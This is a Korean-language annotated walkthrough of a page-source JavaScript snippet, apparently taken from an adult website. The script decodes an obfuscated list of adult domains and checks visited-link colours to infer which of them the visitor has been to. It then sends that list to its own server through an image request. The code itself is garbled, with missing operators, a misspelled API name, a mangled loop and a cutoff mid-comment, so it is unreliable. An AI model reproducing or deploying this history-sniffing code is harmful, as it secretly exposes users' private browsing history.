"페이지 소스 파일"을 열면 암호화된 JS 스크립트를 찾을 수 있습니다:
function ypol(){
//K는 객체이고 실제로는 배열입니다. 나는 암호화된 pr*n 웹사이트 링크를 여러 개 저장했습니다.
var k={0:"qpsoivc/dpn",1:"sfeuvcf/dpn",2:"bevmugsjfoeg joefs/dpn",3:"ywjefpt/dpn",4:"uvcf9/dpn",5: "yoyy/d pn",6:"nfhbqpso/dpn",7:"nfhbspujd/dpn",8:"yibntufs /dpn",9:"bxfnqjsf/dpn",10:"sfbmjuzljoht/dpn",11:" c sb{{fst/dpn",12:"yuvcf/dpn",13:"cbohcspt2/dpn",14: "gmjoh/dpn",15:"gsffpoft/dpn",16:"nzgsffqbztjuf/dp n", 17:"efcpobjscmph/dpn",18:"qbztfswf/dpn",19:"nby qpso/dpn",20:"wjefpt{/dpn",21:"bfco/ofu",22:"qpsop sbnb/dpn" };
var g=[];
for(var m in k){
var d=k[m]; //k의 요소를 탐색하고 d에 값을 할당합니다. var a=" "; for(var f=0;fa =String.fromCharCode(d.charCodeAt(f)-1)/* 여기에 d를 넣으세요. 모든 캐릭터가 복원되었습니다.
* charCodeAt(char) 함수는 char의 ASCII 코드를 반환합니다.
* String.fromCharCode(asccii)는 ASCII 코드
*에 해당하는 문자를 반환하고 그 결과를
*에 할당합니다. 예를 들어 , 첫 번째 루프에서 a의 값은 qpsoivc/dpn -> http://a / 및 http://www.a/에 대한 링크 값
* 왜 두 번 반복해야 합니까? 목적은 정확성을 위한 것입니다.
* http://example.com/을 방문하여 http://www.example.com/ 브라우저의 경우 서로 다른 도메인 이름
*이므로 다르게 취급해야 합니다
*/
for(var j in {"http://": "","http://www." :""}){
var l=document.createElement("a"); //A 객체 생성
l.href=j a; document.getElementById("ol").appendChild( l);
// A 객체는 ID가 ol인 요소에 연결됩니다. DOM 트리의 요소에 연결하려면 브라우저가 해당 요소를 렌더링하고 적절한 CSS 설정
var e= "";
if(navigator.appName.indexOf("Microsoft")!=-1){
e=l.currentStyle.color; IE의 객체 A
}else {
e=document.defaultView.getCompulatedStyle(l,null).ge tPropertyValue("color")
//다른 표준 브라우저의 색상 가져오기
}
if(e=="# 0c2238"||e=="#0c2238"){
/*
* 보라색이면 이 사이트를 방문한 적이 있다는 의미입니다.
* 기본적으로 브라우저는 방문한 링크를 보라색으로 표시합니다.
* a:visited{color: #123456}
*/
h=true;
}
}
if(h){ //방문한 경우 목록에 사이트 추가 g
g.push(m)
}
}
var b=(g instanceof Array)?g.join (","):""; //g를 배열에서 문자열로 변경
var c=document.createElement("img"); //img 객체 생성
c.src="http: // ol.youporn.com/blank.gif?id=" b; //img의 src는 자신의 서버에 있는 이미지를 가리킵니다. 핵심은 g 배열의 값과 함께 제공된다는 것입니다
document.getElementById("ol " ).appendChild(c); //DOM 트리 추가, 이유는 A 전과 동일
/*
* 웹서버에서 하나의 이미지로 접근